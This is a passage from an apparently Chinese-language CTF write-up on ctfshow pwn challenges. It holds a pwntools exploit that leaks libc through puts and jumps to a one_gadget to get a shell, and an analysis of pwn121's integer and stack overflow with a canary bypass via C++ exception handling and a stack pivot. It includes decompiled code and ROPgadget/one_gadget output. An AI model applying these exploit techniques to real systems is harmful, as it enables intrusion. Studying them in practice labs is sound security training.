class="string">b&#x27;4096&#x27;</span>)  <span class="comment"># 告诉程序输入长度为0x1000</span></span><br><span class="line">sleep(<span class="number">0.5</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&quot;See you next time!\n&quot;</span>)  <span class="comment"># 接收程序输出，定位到puts泄露的地址</span></span><br><span class="line">puts = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">&#x27;\x00&#x27;</span>))  <span class="comment"># 读取6字节（64位地址低6字节有效），补全为8字节</span></span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(puts))  </span><br><span class="line">libc_base = puts - libc.symbols[<span class="string">&quot;puts&quot;</span>]  </span><br><span class="line">one_gadget = libc_base + <span class="number">0x4f302</span>  <span class="comment"># one-gadget地址（直接获取shell的函数）</span></span><br><span class="line"></span><br><span class="line">payload = p64(one_gadget)  <span class="comment"># 构造包含one-gadget地址的payload</span></span><br><span class="line">io.send(payload)  <span class="comment"># 发送到bss段（通过之前的read函数读取）</span></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ python3 exp.py</span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 94</span><br><span class="line">[*] <span class="string">&#x27;/PWN/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] <span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">0x7f214ffb4970</span><br><span class="line">[*] Switching to interactive mode</span><br><span class="line"></span><br><span class="line">$ <span class="built_in">ls</span></span><br><span class="line">ctfshow_flag</span><br></pre></td></tr></table></figure><h2 id="pwn121（ret不懂）"><a href="#pwn121（ret不懂）" class="headerlink" title="pwn121（ret不懂）"></a>pwn121（ret不懂）</h2><h6 id="Hint：Bypass-Canary-姿势7"><a href="#Hint：Bypass-Canary-姿势7" class="headerlink" title="Hint：Bypass Canary 姿势7"></a>Hint：Bypass Canary 姿势7</h6><p>检查保护：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ <span class="built_in">chmod</span> +x pwn</span><br><span class="line">$ checksec pwn</span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br></pre></td></tr></table></figure><p>64位开启Canary与NX保护，部分开启RELRO</p><p>IDA查看main函数（修改函数名后）：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> a1, <span class="type">char</span> **a2, <span class="type">char</span> **a3)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> seed; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  setbuf(<span class="built_in">stdin</span>, <span class="number">0</span>);</span><br><span class="line">  setbuf(<span class="built_in">stdout</span>, <span class="number">0</span>);</span><br><span class="line">  seed = time(<span class="number">0</span>);</span><br><span class="line">  srand(seed);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.start flexmd5&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.start flexsha256&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.start flexsha1&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;4.test security&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;0 quit&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">  v5 = sub_400F45(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">  <span class="keyword">switch</span> ( v5 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      flexmd5(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      flexsha256(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      flexsha1(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4</span>:</span><br><span class="line">      ctfshow(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据菜单栏，我们不难发现，⾸先着重引起注意的就是4 （ctfshow）跟进查看：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">ctfshow</span><span class="params">(__int64 p_option:)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [rsp+Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;1.test format string.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;2.test stackoverflow.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;3.test heapoverflow.&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">  v2 = sub_400F45(<span class="string">&quot;option:&quot;</span>);</span><br><span class="line">  <span class="keyword">switch</span> ( v2 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1</span>:</span><br><span class="line">      <span class="keyword">return</span> fmt();</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2</span>:</span><br><span class="line">      <span class="keyword">return</span> stack_overflow();</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">      <span class="keyword">return</span> heap_overflow();</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这⾥存在三个漏洞，分别为格式化字符串漏洞，栈溢出漏洞，堆溢出漏洞</p><p>fmt:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">fmt</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> __int64 buf; <span class="comment">// rdx</span></span><br><span class="line">  <span class="type">unsigned</span> __int8 buf_1; <span class="comment">// [rsp+Fh] [rbp-631h]</span></span><br><span class="line">  <span class="type">char</span> v3; <span class="comment">// [rsp+Fh] [rbp-631h]</span></span><br><span class="line">  <span class="type">int</span> n255; <span class="comment">// [rsp+10h] [rbp-630h]</span></span><br><span class="line">  <span class="type">int</span> n255_1; <span class="comment">// [rsp+10h] [rbp-630h]</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [rsp+10h] [rbp-630h]</span></span><br><span class="line">  <span class="type">int</span> v7; <span class="comment">// [rsp+14h] [rbp-62Ch]</span></span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// [rsp+14h] [rbp-62Ch]</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+18h] [rbp-628h]</span></span><br><span class="line">  <span class="type">signed</span> __int64 v10; <span class="comment">// [rsp+20h] [rbp-620h]</span></span><br><span class="line">  <span class="type">signed</span> __int64 v11; <span class="comment">// [rsp+28h] [rbp-618h]</span></span><br><span class="line">  <span class="type">char</span> format[<span class="number">512</span>]; <span class="comment">// [rsp+30h] [rbp-610h] BYREF</span></span><br><span class="line">  <span class="type">char</span> s[<span class="number">256</span>]; <span class="comment">// [rsp+230h] [rbp-410h] BYREF</span></span><br><span class="line">  <span class="type">char</span> buf_[<span class="number">256</span>]; <span class="comment">// [rsp+330h] [rbp-310h] BYREF</span></span><br><span class="line">  <span class="type">char</span> s_[<span class="number">520</span>]; <span class="comment">// [rsp+430h] [rbp-210h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v16; <span class="comment">// [rsp+638h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v16 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(format, <span class="number">0</span>, <span class="keyword">sizeof</span>(format));</span><br><span class="line">  <span class="built_in">strcpy</span>(s, <span class="string">&quot;try_to_get_flag&quot;</span>);</span><br><span class="line">  <span class="built_in">memset</span>(&amp;s[<span class="number">16</span>], <span class="number">0</span>, <span class="number">0xF0u</span>);</span><br><span class="line">  v10 = <span class="built_in">strlen</span>(s);</span><br><span class="line">  buf = (<span class="type">unsigned</span> __int64)buf_;</span><br><span class="line">  <span class="built_in">memset</span>(buf_, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf_));</span><br><span class="line">  v7 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">for</span> ( n255 = <span class="number">0</span>; n255 &lt;= <span class="number">255</span>; ++n255 )</span><br><span class="line">  &#123;</span><br><span class="line">    format[n255] = n255;</span><br><span class="line">    buf = (<span class="type">unsigned</span> __int8)s[n255 % v10];</span><br><span class="line">    buf_[n255] = buf;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> ( n255_1 = <span class="number">0</span>; n255_1 &lt;= <span class="number">255</span>; ++n255_1 )</span><br><span class="line">  &#123;</span><br><span class="line">    v7 = (buf_[n255_1] + v7 + format[n255_1]) % <span class="number">256</span>;</span><br><span class="line">    buf_1 = format[n255_1];</span><br><span class="line">    format[n255_1] = format[v7];</span><br><span class="line">    buf = buf_1;</span><br><span class="line">    format[v7] = buf_1;</span><br><span class="line">  &#125;</span><br><span class="line">  sub_400E76(s_, <span class="number">500</span>, buf);</span><br><span class="line">  v11 = <span class="built_in">strlen</span>(s_);</span><br><span class="line">  v8 = <span class="number">0</span>;</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; v11; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    v6 = (v6 + <span class="number">1</span>) % <span class="number">256</span>;</span><br><span class="line">    v8 = (v8 + format[v6]) % <span class="number">256</span>;</span><br><span class="line">    v3 = format[v6];</span><br><span class="line">    format[v6] = format[v8];</span><br><span class="line">    format[v8] = v3;</span><br><span class="line">    s_[i] ^= format[(format[v8] + format[v6]) % <span class="number">256</span>];</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(format);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>格式化字符串不可控[<code>format</code>数组的最终内容完全由程序初始逻辑和固定算法生成，<strong>不包含任何用户可控数据</strong>。]</p><p>stack_overflow:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">stack_overflow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">int</span> v2; <span class="comment">// [rsp+Ch] [rbp-EAE4h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+10h] [rbp-EAE0h] BYREF</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+14h] [rbp-EADCh]</span></span><br><span class="line">  <span class="type">int</span> j; <span class="comment">// [rsp+18h] [rbp-EAD8h]</span></span><br><span class="line">  <span class="type">int</span> k; <span class="comment">// [rsp+1Ch] [rbp-EAD4h]</span></span><br><span class="line">  _DWORD v7[<span class="number">15026</span>]; <span class="comment">// [rsp+20h] [rbp-EAD0h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v8; <span class="comment">// [rsp+EAE8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v8 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;v2);</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%d&quot;</span>, &amp;v3);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">1</span>; i &lt;= v2; ++i )</span><br><span class="line">    <span class="built_in">scanf</span>(<span class="string">&quot;%d %d&quot;</span>, &amp;v7[i], &amp;v7[i + <span class="number">12</span>]);</span><br><span class="line">  <span class="keyword">for</span> ( j = <span class="number">1</span>; j &lt;= v2; ++j )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( k = <span class="number">1</span>; k &lt;= v3; ++k )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v7[j] &gt; (<span class="type">unsigned</span> <span class="type">int</span>)k )</span><br><span class="line">      &#123;</span><br><span class="line">        v7[<span class="number">1500</span> * j + <span class="number">24</span> + k] = v7[<span class="number">1500</span> * j - <span class="number">1476</span> + k];</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        v0 = v7[<span class="number">1500</span> * j - <span class="number">1476</span> + k];</span><br><span class="line">        <span class="keyword">if</span> ( v7[j + <span class="number">12</span>] + v7[<span class="number">1500</span> * j - <span class="number">1476</span> + k - v7[j]] &gt;= v0 )</span><br><span class="line">          v0 = v7[j + <span class="number">12</span>] + v7[<span class="number">1500</span> * j - <span class="number">1476</span> + k - v7[j]];</span><br><span class="line">        v7[<span class="number">1500</span> * j + <span class="number">24</span> + k] = v0;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;%d\n&quot;</span>, v7[<span class="number">1500</span> * v2 + <span class="number">24</span> + v3]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>结构化写⼊(难用)，但是程序开启了Canary保护</p><p>heap_overflow:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 <span class="title function_">heap_overflow</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v0; <span class="comment">// eax</span></span><br><span class="line">  _BYTE *v1; <span class="comment">// rax</span></span><br><span class="line">  __int64 result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">char</span> <span class="type">char</span>; <span class="comment">// [rsp+7h] [rbp-19h]</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> j; <span class="comment">// [rsp+8h] [rbp-18h]</span></span><br><span class="line">  <span class="type">int</span> v6; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">int</span> v7; <span class="comment">// [rsp+10h] [rbp-10h]</span></span><br><span class="line">  <span class="type">int</span> v8; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line">  _BYTE *v9; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  v9 = <span class="built_in">malloc</span>(<span class="number">0x3E8u</span>);</span><br><span class="line">  v7 = <span class="number">-1</span>;</span><br><span class="line">  v8 = <span class="number">-1</span>;</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="type">char</span> = getchar();</span><br><span class="line">    <span class="keyword">if</span> ( <span class="type">char</span> == <span class="number">-1</span> )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v0 = v6++;</span><br><span class="line">    v9[v0] = <span class="type">char</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; v6; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( v7 == <span class="number">-1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v8 == <span class="number">-1</span> &amp;&amp; v9[i] == <span class="number">34</span> &amp;&amp; v9[i - <span class="number">1</span>] != <span class="number">92</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v8 = <span class="number">1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> ( v8 == <span class="number">1</span> &amp;&amp; v9[i] == <span class="number">34</span> &amp;&amp; v9[i - <span class="number">1</span>] != <span class="number">92</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v8 = <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v8 == <span class="number">-1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v7 == <span class="number">-1</span> &amp;&amp; v9[i] == <span class="number">47</span> &amp;&amp; v9[i + <span class="number">1</span>] == <span class="number">42</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v7 = <span class="number">1</span>;</span><br><span class="line">        v9[i] = <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> ( v7 == <span class="number">1</span> &amp;&amp; v9[i] == <span class="number">42</span> &amp;&amp; v9[i + <span class="number">1</span>] == <span class="number">47</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v1 = &amp;v9[i + <span class="number">1</span>];</span><br><span class="line">        *v1 = <span class="number">-1</span>;</span><br><span class="line">        v9[i] = *v1;</span><br><span class="line">        v7 = <span class="number">-1</span>;</span><br><span class="line">        ++i;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span> <span class="keyword">if</span> ( v7 == <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v9[i] = <span class="number">-1</span>;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">for</span> ( j = <span class="number">0</span>; ; ++j )</span><br><span class="line">  &#123;</span><br><span class="line">    result = j;</span><br><span class="line">    <span class="keyword">if</span> ( (<span class="type">int</span>)j &gt;= v6 )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v9[j] != <span class="number">0xFF</span> )</span><br><span class="line">      <span class="built_in">putchar</span>((<span class="type">char</span>)v9[j]);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>只有 “while 循环读字符并写入 v9” 这一处操作会导致堆溢出</strong>,不会导致程序无法正常返回[堆内存与栈内存的独立性]（没用）</p><p>从单个函数或者⾛⼊这个分⽀来看，并不好利⽤</p><p>查看其他函数（flexmd5）：</p><p><img src="/../../../../images/ctfshow/image-20250825142037402.png" alt="image-20250825142037402"></p><p>仔细观察函数流程，发现程序⾥进⾏了⼀个异常捕捉机制，在伪代码中这个结构体并没有显⽰</p><p>跟进函数查看⼀下：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">sub_401148</span><span class="params">(__int64 p_option:)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v1; <span class="comment">// rdx</span></span><br><span class="line">  __int64 v2; <span class="comment">// rdx</span></span><br><span class="line">  _DWORD *exception; <span class="comment">// rax</span></span><br><span class="line">  _DWORD *v4; <span class="comment">// rax</span></span><br><span class="line">  __int64 v5; <span class="comment">// rdx</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+Ch] [rbp-124h]</span></span><br><span class="line">  <span class="type">char</span> s1[<span class="number">264</span>]; <span class="comment">// [rsp+10h] [rbp-120h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v9; <span class="comment">// [rsp+118h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line">  v9 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;FlexMD5 bruteforce tool V0.1&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;custom md5 state (yes/No)&quot;</span>);</span><br><span class="line">  sub_400E76(s1, <span class="number">4</span>, v1);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(s1, <span class="string">&quot;yes&quot;</span>, <span class="number">3u</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    dword_6061A4 = <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;initial state[0]:&quot;</span>);</span><br><span class="line">    dword_6061B0 = sub_400F45(<span class="string">&quot;initial state[0]:&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;initial state[1]:&quot;</span>);</span><br><span class="line">    dword_6061B4 = sub_400F45(<span class="string">&quot;initial state[1]:&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;initial state[2]:&quot;</span>);</span><br><span class="line">    dword_6061B8 = sub_400F45(<span class="string">&quot;initial state[2]:&quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;initial state[3]:&quot;</span>);</span><br><span class="line">    dword_6061BC = sub_400F45(<span class="string">&quot;initial state[3]:&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;custom charset (yes/No)&quot;</span>);</span><br><span class="line">  sub_400E76(s1, <span class="number">4</span>, v2);</span><br><span class="line">  <span class="keyword">if</span> ( !<span class="built_in">strncmp</span>(s1, <span class="string">&quot;yes&quot;</span>, <span class="number">3u</span>) )</span><br><span class="line">  &#123;</span><br><span class="line">    dword_6061A4 = <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;charset length:&quot;</span>);</span><br><span class="line">    n256 = sub_400F45(<span class="string">&quot;charset length:&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span> ( n256 &gt; <span class="number">256</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      exception = __cxa_allocate_exception(<span class="number">4u</span>);</span><br><span class="line">      *exception = <span class="number">2</span>;</span><br><span class="line">      __cxa_throw(exception, (<span class="keyword">struct</span> type_info *)&amp;`typeinfo <span class="keyword">for</span><span class="string">&#x27;int, 0);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    puts(&quot;charset:&quot;);</span></span><br><span class="line"><span class="string">    sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));</span></span><br><span class="line"><span class="string">    off_606118 = strdup(s1);                    // &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789&quot;</span></span><br><span class="line"><span class="string">  &#125;</span></span><br><span class="line"><span class="string">  puts(&quot;bruteforce message pattern:&quot;);</span></span><br><span class="line"><span class="string">  sub_400F1E(s_, 1024);</span></span><br><span class="line"><span class="string">  dword_6061A0 = strlen(s_);</span></span><br><span class="line"><span class="string">  for ( i = 0; i &lt; strlen(s_) &amp;&amp; s_[i] != 46; ++i )</span></span><br><span class="line"><span class="string">    ;</span></span><br><span class="line"><span class="string">  if ( i == strlen(s_) )</span></span><br><span class="line"><span class="string">  &#123;</span></span><br><span class="line"><span class="string">    v4 = __cxa_allocate_exception(4u);</span></span><br><span class="line"><span class="string">    *v4 = 0;</span></span><br><span class="line"><span class="string">    __cxa_throw(v4, (struct type_info *)&amp;`typeinfo for&#x27;</span><span class="type">int</span>, <span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;md5 pattern:&quot;</span>);</span><br><span class="line">  sub_400E76(byte_6065C0, <span class="number">33</span>, v5);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>仔细观察可以发现这⾥存在⼀个整形溢出，对输⼊+1后进⾏了⽆符号整形强制转换[ sub_400E76(s1, (unsigned int)(n256 + 1), (unsigned int)(n256 + 1));]</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">sub_400E76</span><span class="params">(__int64 a1, <span class="type">unsigned</span> <span class="type">int</span> a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf; <span class="comment">// [rsp+13h] [rbp-Dh] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> <span class="type">int</span> i; <span class="comment">// [rsp+14h] [rbp-Ch]</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt; a2; ++i )</span><br><span class="line">  &#123;</span><br><span class="line">    read(<span class="number">0</span>, &amp;buf, <span class="number">1u</span>); <span class="comment">//循环读a2个字节，写入a1（s1）</span></span><br><span class="line">    <span class="keyword">if</span> ( buf == <span class="number">10</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      *(_BYTE *)(i + a1) = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">return</span> i + <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    *(_BYTE *)(a1 + i) = buf;</span><br><span class="line">  &#125;</span><br><span class="line">  *(_BYTE *)(a2 - <span class="number">1</span> + a1) = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">return</span> i;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>进⽽⼜有了⼀个栈溢出漏洞，同样的程序开启了Canary保护，还是要想办法绕过</p><p>这⾥我们就需要了解并利⽤异常机制去绕过Canary保护了（详细原理课程中会给⼤家讲解，这⾥不讲述原理）</p><p>我们现在需要跳过canary检查，如果异常被上⼀个函数的catch捕获，所以rbp变成了上⼀个函数的rbp， ⽽通过构造⼀个payload把上⼀个函数的rbp修改成stack_pivot地址， 之后上⼀个函数返回的时候执⾏leave ret，这样⼀来我们就能成功绕过canary的检查，⽽且进⼀步我们也能控制eip，，去执⾏了stack_pivot中的rop了。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">.bss:00000000006061C0 ; char s_[1024]</span><br><span class="line">.bss:00000000006061C0 s_              db ?                    ; DATA XREF: sub_400F8F+29↑r</span><br><span class="line">.bss:00000000006061C0                                         ; sub_400F8F+50↑r ...</span><br><span class="line"></span><br><span class="line">.plt:0000000000400BD0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts]</span><br><span class="line"></span><br><span class="line">.got.plt:0000000000606020 off_606020      dq offset puts          ; DATA XREF: _puts↑r</span><br><span class="line"></span><br><span class="line">.text:0000000000401508 ;   try &#123;</span><br><span class="line">.text:0000000000401508                 call    sub_401148</span><br><span class="line">.text:000000000040150D                 call    sub_400F8F</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="type">ssize_t</span> __fastcall <span class="title function_">sub_400F1E</span><span class="params">(<span class="type">void</span> *s, <span class="type">size_t</span> n1024)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, s, n1024);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">sub_401148:</span><br><span class="line"><span class="type">char</span> s1[<span class="number">264</span>]; <span class="comment">// [rsp+10h] [rbp-120h] BYREF</span></span><br><span class="line"><span class="comment">/*前 36 个覆盖s1到rbp之间的 288 字节；</span></span><br><span class="line"><span class="comment">第 37 个刚好覆盖rbp本身，将其修改为message_pattern（栈迁移目标）。*/</span></span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">$ ROPgadget --binary ./pwn | grep <span class="string">&quot;ret&quot;</span></span><br><span class="line">0x00000000004044d3 : pop rdi ; ret</span><br><span class="line">0x00000000004044d1 : pop rsi ; pop r15 ; ret</span><br><span class="line"></span><br><span class="line">$ one_gadget /lib/x86_64-linux-gnu/libc.so.6</span><br><span class="line">0x4f29e execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, <span class="string">&quot;-c&quot;</span>, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f2a5 execve(<span class="string">&quot;/bin/sh&quot;</span>, rsp+0x40, environ)</span><br><span class="line">constraints:</span><br><span class="line">  address rsp+0x50 is writable</span><br><span class="line">  rsp &amp; 0xf == 0</span><br><span class="line">  rcx == NULL || &#123;rcx, rax, r12, NULL&#125; is a valid argv</span><br><span class="line"></span><br><span class="line">0x4f302 execve(<span 